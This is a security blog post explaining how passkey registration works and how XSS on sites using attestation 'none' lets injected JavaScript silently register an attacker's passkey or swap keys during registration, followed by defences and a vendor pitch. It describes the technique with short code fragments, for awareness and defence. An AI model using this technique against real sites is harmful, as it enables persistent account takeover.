                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 19 May 2026 12:24:43 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None"><p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records a successful registration, and the attacker walks away with a valid authentication backdoor.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>For an organisation, that means more than &#x201C;someone found XSS&#x201D;. It means identity compromise, persistence, audit-trail ambiguity, regulatory exposure, and a security control that appears to have worked while silently enabling an attacker.</p><p>The uncomfortable truth is that while passkeys do bring amazing benefits, and I think that everyone should use them, there is a dangerous gap in the threat model that&apos;s being overlooked by almost everyone I speak to. This blog post explains the risk, demonstrates how this is possible, and what the effective defences look like.</p><p></p><h3 id="introduction">Introduction</h3><p>Before we get started, if you&apos;d like a brief overview of how passkeys work, you can jump over to my <a href="https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys 101 blog post</a>, where I explain the basics. I&apos;m going to assume in this blog post that you understand the concept of passkeys, and we&apos;re going to look at how they work in more detail in this post.</p><p>We also need to establish some terminology to make the rest of this blog post easier to understand:</p><p><strong>Relying Party</strong>: The website or application that stores and verifies a user&apos;s passkey credential for authentication. </p><p><strong>Authenticator</strong>: The user&#x2019;s device or password manager that creates, stores, and uses the private key to prove the user&#x2019;s identity to the Relying Party.</p><p><strong>Attestation</strong>: The mechanism an Authenticator can use during registration to prove what kind of hardware created the credential.</p><p></p><h3 id="how-passkey-registration-works">How Passkey Registration Works</h3><p>When registering a passkey with an RP like Report URI, JavaScript will make a call out to fetch the data it needs:</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/register_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos; });</code></pre><pre><code class="language-http">POST /passkeys/register_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will return a response that looks like this and contains the <code>publicKey</code> object:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      &quot;publicKey&quot;: {
        &quot;rp&quot;: {
          &quot;name&quot;: &quot;Report URI&quot;,
          &quot;id&quot;: &quot;report-uri.com&quot;
        },
        &quot;user&quot;: {
          &quot;id&quot;: &quot;Yi8kP1xqd0Jx3mWZ8Q2vK7nR4tH6sLpA9dF1gE0wXc=&quot;,
          &quot;name&quot;: &quot;[email protected]&quot;,
          &quot;displayName&quot;: &quot;[email protected]&quot;
        },
        &quot;challenge&quot;: &quot;kQ7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;pubKeyCredParams&quot;: [
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -8 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -7 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -257 }
        ],
        &quot;timeout&quot;: 60000,
        &quot;authenticatorSelection&quot;: {
          &quot;requireResidentKey&quot;: true,
          &quot;residentKey&quot;: &quot;required&quot;,
          &quot;userVerification&quot;: &quot;required&quot;
        },
        &quot;attestation&quot;: &quot;none&quot;,
        &quot;excludeCredentials&quot;: [
          {
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc...&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }</code></pre><p></p><p>Now that your device has the information it needs, it can create the new passkey and save it, likely showing you some kind of confirmation that requires a PIN, FaceID, TouchID, etc... This is done with the following JavaScript API call that will trigger the interaction with your Authenticator:</p><pre><code class="language-js">const cred = await navigator.credentials.create({ publicKey });</code></pre><p></p><p>If you complete the process, your Authenticator will then store your new passkey. The JavaScript will then build the response to send back to the RP to confirm that everything has been completed and to save the new passkey against the user&apos;s account:</p><pre><code class="language-js">const payload = {
        name: nameInput?.value?.trim() || &apos;&apos;,
        password: passwordInput.value,
        id: cred.id,
        rawId: cred.rawId,
        type: cred.type,
        clientDataJSON: cred.response.clientDataJSON,
        attestationObject: cred.response.attestationObject,
    };
    
    const finRes = await fetch(&apos;/passkeys/register_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><p></p><p>The <code>attestationObject</code> contains the important information, with everything else being mostly metadata. Here&apos;s the content of the <code>attestationObject</code> with the public key being the crucial part:</p><pre><code>attestationObject (CBOR)
    &#x251C;&#x2500; fmt                       &#x2190; attestation format, e.g. &quot;none&quot; / &quot;apple&quot;
    &#x251C;&#x2500; authData                  &#x2190; authenticator data
    &#x2502;  &#x251C;&#x2500; rpIdHash               &#x2190; SHA-256 hash of the RP ID
    &#x2502;  &#x251C;&#x2500; flags                  &#x2190; UP/UV/AT/ED flags, etc.
    &#x2502;  &#x251C;&#x2500; signCount              &#x2190; signature counter
    &#x2502;  &#x2514;&#x2500; attestedCredentialData
    &#x2502;     &#x251C;&#x2500; aaguid              &#x2190; type/model id, not useful for synced passkeys
    &#x2502;     &#x251C;&#x2500; credentialIdLength
    &#x2502;     &#x251C;&#x2500; credentialId        &#x2190; credential is, also surfaced as id/rawId
    &#x2502;     &#x2514;&#x2500; credentialPublicKey &#x2190; COSE-encoded public key
    &#x2514;&#x2500; attStmt                   &#x2190; attestation statement; empty for fmt &quot;none&quot;</code></pre><p></p><p>The RP can now save the public key against the user and we know that this is a passkey they will be able to use to authenticate in the future. The stored record might look something like this:</p><pre><code class="language-json">{
        &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
        &quot;name&quot;: &quot;Jane&apos;s MacBook&quot;,
        &quot;pem&quot;: &quot;-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...\n-----END PUBLIC KEY-----\n&quot;,
        &quot;counter&quot;: 0,
        &quot;created&quot;: &quot;2026-05-16T14:22:07+00:00&quot;
    }</code></pre><p></p><p></p><h3 id="how-passkey-authentication-works">How Passkey Authentication Works</h3><p>The process for logging in is equally as simple, with only a couple of steps to successfully authenticate with a passkey. First, the JavaScript must fetch the information required to authenticate from the RP.</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/login_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos;, credentials: &apos;same-origin&apos; });</code></pre><pre><code class="language-http">POST /passkeys/login_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will respond with a <code>publicKey</code> object that contains the required information:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    {
      &quot;publicKey&quot;: {
        &quot;challenge&quot;: &quot;Vk7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;timeout&quot;: 20000,
        &quot;rpId&quot;: &quot;report-uri.com&quot;,
        &quot;userVerification&quot;: &quot;required&quot;,
        &quot;allowCredentials&quot;: [
          {
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }
    }</code></pre><p></p><p>You must have some way of telling the RP which user/account is trying to login, and Report URI rely on the user already having completed their email address and password in the first step, but some websites will just ask for your email address. The response that came back from the RP has to have looked up the user&apos;s account, <code>[email protected]</code> in this case, and now provides a list of <code>allowCredentials</code> which are the <code>id</code> values of previously registered passkeys. If you look in the earlier registration steps you can see that we registered a passkey with the <code>id</code> value <code>AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc</code> and this has now been returned to us during login as an allowed credential. We can now pass this to the Authenticator using the following JavaScript API call :</p><pre><code class="language-js">const assertion = await navigator.credentials.get({ publicKey });</code></pre><p></p><p>At this point, your Authenticator might ask you for a PIN, FaceID, TouchID or similar, and then the Authenticator is going to sign the challenge with the associated private key it stored earlier during registration, identified using the <code>id</code> provided. This signed challenge can then be returned to the RP to demonstrate possession of the private key:</p><pre><code class="language-js">const payload = {
        id: assertion.id,
        rawId: assertion.rawId,
        type: assertion.type,
        clientDataJSON: assertion.response.clientDataJSON,
        authenticatorData: assertion.response.authenticatorData,
        signature: assertion.response.signature,
        userHandle: assertion.response.userHandle || &apos;&apos;,
    };
    
    const finRes = await fetch(&apos;/passkeys/login_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        credentials: &apos;same-origin&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><pre><code class="language-json">POST /passkeys/login_finish/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Content-Type: application/json
    Cookie: session=...
    
    {
      &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
      &quot;rawId&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc==&quot;,
      &quot;type&quot;: &quot;public-key&quot;,
      &quot;clientDataJSON&quot;: &quot;eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVms3blI0dEg2c0xwQTlkRjFnRTB3WGMydks3bVo4UTJZaThrUDF4cWQwSiIsIm9yaWdpbiI6Imh0dHBzOi8vcmVwb3J0LXVyaS5jb20iLCJjcm9zc09yaWdpbiI6ZmFsc2V9&quot;,
      &quot;authenticatorData&quot;: &quot;SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MdAAAAAA==&quot;,
      &quot;signature&quot;: &quot;MEUCIQD3...base64 of the ECDSA/EdDSA signature...AiEA9k2m&quot;,
      &quot;userHandle&quot;: &quot;T3xq2mP9kZ8Q2vK7nR4tH6sLpA9dF1gE0wXcYi8kP1w=&quot;
    }</code></pre><p></p><p>If the RP can then successfully verify the signature in this payload using the public key it stored during registration, the user trying to log in has proven possession of the private key that&apos;s associated with the stored public key. This means they have now completed authentication with a passkey and you can grant them access to the account. </p><p></p><h3 id="understanding-attestation">Understanding Attestation</h3><p>Attestation is a pretty big deal, but if you go back and look at the registration process when the client called out to <code>/passkeys/register_get_options</code>, you will notice the following in the response sent back by the RP:</p><pre><code class="language-json">{
      ...
      &quot;attestation&quot;: &quot;none&quot;,
      ...
    }</code></pre><p></p><p>Attestation allows your application, the RP, to answer the question &apos;what kind of authenticator am I working with&apos;, and it&apos;s answering that question at a hardware level and getting an answer it can verify. That sounds great, so why is Report URI not requiring that?</p><p>In order for attestation to work, you would first need to get the certificates of all registered authenticators that can produce passkeys. You can grab that information from the <a href="https://fidoalliance.org/metadata/?ref=scotthelme.ghost.io" rel="noreferrer">FIDO Alliance</a> as part of their Metadata Service (MDS3), and it&apos;s just a case of downloading the file and verifying its signature, and then parsing out all of the certificates. You need to do this ~once per month to stay current, and then you can ask for attestation when an authenticator is registering a passkey with your application. </p><p>Attestation is then a signature from the authenticator proving that it&apos;s a genuine authenticator from a particular manufacturer, let&apos;s say a YubiKey. Our application can verify that signature using the certificates that we fetched above and then we can be confident that we&apos;re dealing with a genuine YubiKey. The authenticator will provide an <code>attestationObject</code> that contains an <code>attStmt</code> that looks like this during the registration flow:</p><pre><code class="language-json">&quot;attStmt&quot;: {
      &quot;alg&quot;: -7,                // COSE alg of the signature (e.g. -7 = ES256)
      &quot;sig&quot;: h&apos;3045022100&#x2026;&apos;,    // sig over (authData &#x2016; SHA-256(clientDataJSON))
      &quot;x5c&quot;: [                  // attestation certificate chain, leaf first
        h&apos;308202bd30820&#x2026;&apos;,      // leaf: the authenticator&apos;s attestation cert
        h&apos;30820336308&#x2026;&apos;         // (optional) intermediate CA cert(s)
      ]
    }</code></pre><p></p><p>So why on Earth would we not require attestation when registering a passkey with our application?</p><p></p><h3 id="convenience">Convenience</h3><p>The trade-off nobody mentions! An authenticator&apos;s ability to cryptographically prove what kind of hardware device it is can&apos;t be explained as anything other than a major security win. But that win does come at a cost.</p><p>We pulled the current MDS3 list to take a look at what&apos;s in there and we see the likes of Yubico, Feitian, Thales, Ledger, the platform TPM/Hello authenticators, and many more. The problem is what we didn&apos;t see. 1Password, LastPass, Bitwarden, Dashlane, iCloud Keychain, Google Password Manager, Chrome&apos;s built-in store... This isn&apos;t an oversight from these companies, it&apos;s a design choice. </p><p>The original idea behind passkeys was that the private key would remain locked on a single device, in secure storage like the Secure Enclave, a TPM, or similar. I&apos;d register a passkey against my online account and save it as &quot;Scott&apos;s Laptop&quot;, and that passkey would forever remain on my laptop, securely stored in the TPM (I&apos;m on Windows). This is a tremendous security super-power, but it comes with a trade-off. If I were to lose my laptop, spill a coffee on it, or it failed spectacularly and the <a href="https://en.wikipedia.org/wiki/Magic_smoke?ref=scotthelme.ghost.io" rel="noreferrer">magic smoke</a> got out, I&apos;m in big trouble. I&apos;d now need to have another device somewhere else that already had a passkey registered on my account so I could sign in from that device, otherwise I&apos;m in big trouble. This idea of having to register and manage individual passkeys for each of your devices to be able to access your online account is what drove us in another direction.</p><p></p><h3 id="synced-passkeys">Synced Passkeys</h3><p>Synced passkeys are the architectural polar-opposite of an attestable hardware credential. Instead of storing the passkey in a secure storage medium like the Secure Enclave or TPM, I use 1Password, which stores the private key in my 1Password vault. My vault is then synced across all of my devices, my Windows desktop, my iPhone, my MacBook Pro, my iPad, and more. This offers me a huge amount of convenience because I can register a passkey with an RP a single time, and then login with that passkey across all of my devices, instead of having to register a passkey from each and every device. But that&apos;s the rub... We can&apos;t have meaningful hardware attestation in this process to tell us what type of hardware Authenticator we&apos;re dealing with because the answer to the question &apos;what type of device is this?&apos; will always be &apos;it depends&apos;. There&apos;s no generally useful way for software Authenticators like 1Password and others to do attestation, and this is why we don&apos;t require it on Report URI, because if we did, the vast majority of our users wouldn&apos;t be able to use their preferred method for registering and authenticating with passkeys.</p><p>That tension &#x2014; device attestation vs. synced passkeys &#x2014; is genuinely the crux of this whole blog post.</p><p></p><h3 id="where-it-all-falls-apart">Where It All Falls Apart</h3><p>We now have all the pieces of the puzzle, so let&apos;s put this together and see where it falls apart. Most online services are not going to require Attestation because it would force so many of their users out of being able to use passkeys in their preferred way. But Attestation allows the RP to know that it&apos;s talking to a bona fide Authenticator backed by hardware. Without Attestation we&apos;re just talking to software, we&apos;re talking to code. As it turns out, webpages run code...</p><p>The entire passkey registration and authentication flows that we walked through earlier were driven by JavaScript. To register a new passkey the page will call <code>navigator.credentials.create()</code> and interact with the Authenticator, passing data backwards and forwards. To authenticate with a passkey the page will call <code>navigator.credentials.get()</code> and interact with the Authenticator, passing data backwards and forwards. If we take Attestation out of the picture, you can complete this entire flow in JavaScript without ever even having to involve an Authenticator. Let&apos;s walk through it:</p><p></p><ol>
    <li>
    <p>The JavaScript calls <code>/passkeys/register_get_options/</code> to begin the registration flow as normal.</p>
    </li>
    <li>
    <p>Typically, the JavaScript would now call <code>navigator.credentials.create()</code> to create the new public/private key pair in the Authenticator, instead, we&apos;re going just going to create a new key pair in JavaScript.</p>
    <pre><code class="language-js">const kp = await crypto.subtle.generateKey(
        { name: &apos;ECDSA&apos;, namedCurve: &apos;P-256&apos; }, true, [&apos;sign&apos;]
    );
    </code></pre>
    </li>
    <li>
    <p>We now need to build the payload to send to <code>/passkeys/register_finish/</code> which requires the public key that we just generated, and no attestation data is required. The RP will later only be able to verify that logins are signed by the private key corresponding to this submitted public key; it has not verified that the key was created inside a &apos;real&apos; authenticator.</p>
    </li>
    <li>
    <p>A new passkey has been successfully registered on the user&apos;s account with absolutely <strong>no user interaction required</strong>.</p>
    </li>
    </ol>
    <p></p><p>This might sound crazy, that by simply visiting a page running malicious JavaScript it can register a passkey on your account with absolutely no interaction, but that&apos;s exactly how it works if no other steps are required.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To prove this, I built a few demo pages on the <a href="https://report-uri-demo.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Demo Site</a>, and specifically you want to look at <a href="https://report-uri-demo.com/passkeys/1/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 1</a> for this. The very moment that page loads in your browser, the JavaScript payload is going to register a passkey on your account. You can register your own passkey as normal and even sign in with your own passkey, give it a try, but there will always be that second passkey registered by the malicious JavaScript and owned by the attacker.</p><p></p><h3 id="xss-is-now-deadly">XSS Is Now Deadly</h3><p>Having an attacker register their own passkey on your account is a particularly nasty form of account takeover. It is persistent, it looks like a legitimate account-security change, and if passkeys are sufficient to sign in, the attacker now has a clean authentication path back into the account. You are now totally pwned, and, it gets worse. </p><p>Because the passkey registration process is orchestrated by JavaScript, if we&apos;re running malicious JavaScript in the page, we can proxy the WebAuthn API calls between the browser and the Authenticator. The ultimate in-page MiTM attack!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>By hooking and tampering with the <code>navigator.credentials.create()</code> API, we can substitute the values being passed between the browser and the Authenticator. This means that the user will conduct their normal registration process, get a prompt from their Authenticator to create and save a new passkey, but the Authenticator will then <strong>save the wrong passkey</strong>. The Authenticator will save the passkey that it generated, but that was not the passkey sent to the RP, which was substituted for the attacker&apos;s passkey. It now looks like you&apos;ve registered a passkey on the website, you see a passkey in your password manager, the website shows that a Passkey has now been registered on your account, but the passkey the victim has will never work. Only the passkey that the attacker has will work and the reason this work so well is best demonstrated by updating the diagram.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To demonstrate this process, we&apos;ve created <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>, where you can register a passkey on your account, but the passkey saved on your device will not be the correct passkey. You can then try to sign in with your passkey and observe that, as expected, it doesn&apos;t work, but the attacker can log in with their passkey.</p><p></p><h3 id="the-threat-model-that-matters">The Threat Model That Matters</h3><p>Attestation isn&apos;t being &quot;skipped&quot; out of laziness or a lack of knowledge, it&apos;s a recognition that for a service whose users are spread across every device and every password manager, the strong version of attestation would trade an assurance about device provenance for a very real loss of accessibility. The threat model that matters for us &#x2014; phishing, credential theft, replay &#x2014; is fully addressed by the challenge/origin binding and the signature check provided by synced passkeys. Device attestation doesn&apos;t move that needle, and it&apos;s why we don&apos;t require it.</p><p>Attestation and synced passkeys are fundamentally at odds, and choosing not to attest is what lets your users bring the passkeys that they actually have. If it&apos;s a choice between no Attestation or no passkeys, which are you choosing?</p><p></p><h3 id="defending-against-the-threat">Defending Against The Threat</h3><p>Everyone out there should be using, or aiming to use, passkeys, but we need to acknowledge the risks that exist and take steps to mitigate them. Here is some practical guidance to take away and use to help strengthen your passkeys deployment.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Step up authentication before registration</h4>
    <!--kg-card-end: html-->
    <p>This one can be tricky because I&apos;ve seen many sites using passkeys to replace passwords, but that&apos;s not something we&apos;ve done on Report URI, passkeys are used as a 2FA mechanism. When attempting to register a new passkey on your account, you need the current password for the account to do it. This means that JavaScript can&apos;t silently register a new passkey. You could also require any other 2FA mechanism, a magic-link via email, or any other additional authentication mechanism.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="934" height="445" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png 934w" sizes="(min-width: 720px) 720px"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Stop the Malicious JavaScript from running</h4>
    <!--kg-card-end: html-->
    <p>A strong <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> is going to go a long way here and the best way to stop this attack is to stop the XSS at the source. You should also use <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity</a> wherever possible to secure your third-party dependencies. You can see <a href="https://report-uri-demo.com/passkeys/3/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 3</a> for what happens when an analytics script goes rogue and starts registering passkeys for your visitors.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-6.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="402" height="146"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Take Control of Powerful APIs</h4>
    <!--kg-card-end: html-->
    <p>Using Permissions Policy, you can take control of which pages on your site, and which third-party scripts you&apos;re loading, have access to the <code>navigator.credentials.create()</code> and <code>navigator.credentials.get()</code> API calls to register a passkey and authenticate with a passkey. In reality, we probably have very few pages on our sites that need to touch passkeys, and probably even fewer third-party scripts that we want to have that capability. This won&#x2019;t stop the direct <code>/register_finish/</code> attack described above, because that attack doesn&#x2019;t need the WebAuthn API, but it does reduce the number of places where malicious JavaScript can interfere with legitimate passkey ceremonies.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="660" height="132" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png 660w"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Out-Of-Band Notification on Registration</h4>
    <!--kg-card-end: html-->
    <p>If a new passkey is added to the account of one of your users, you should absolutely be notifying them that this has happened. Send out a notification, via email or any other means, to your user as soon as a new passkey is added to their account. If they were not expecting this to have happened, they can take immediate steps to protect their account.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="717" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png 717w"></figure><p></p><h3 id="these-are-problems-that-report-uri-can-solve">These Are Problems That Report URI Can Solve</h3><p>As a specialised client-side protection platform, it stands to reason that Report URI can help you defend against these client-side attacks. I&apos;m going to keep it brief here as the main purpose of this blog post is to highlight the risks above, but this is a topic we&apos;ve done a lot of research on and we can provide some real value.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><ul><li>Get a <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> deployed and get real-time feedback from the browser about what&apos;s happening in the page as your visitors see it.</li><li>Use our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> to keep track of your third-party JavaScript dependencies, and when they change. </li><li>Audit the use of Subresource Integrity across your site using <a href="https://report-uri.com/products/integrity_policy?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> and keep your JavaScript Supply Chain secure. </li><li>Deploy a <a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> on your site and lock down the use of powerful JavaScript APIs.</li></ul><p></p><p>We&#x2019;ve also put together a dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> and whitepaper for teams who want practical guidance on finding and reducing these risks.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Using <code>attestation: &quot;none&quot;</code> isn&apos;t a problem, it&apos;s a trade-off between security and convenience. The hidden risk is overlooking the threat of a page-level adversary, who is always going to cause you problems, but they can cause some particularly big problems when it comes to passkeys.</p><p>Passkeys remain the right direction, and I want to see widespread adoption of them, but the security boundary they replace (passwords) was a single secret on the wire. The boundary they introduce, a ceremony brokered by the user agent, only holds if the user agent, and everything injected into it, can be trusted. This is why XSS becomes deadly to passkeys.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
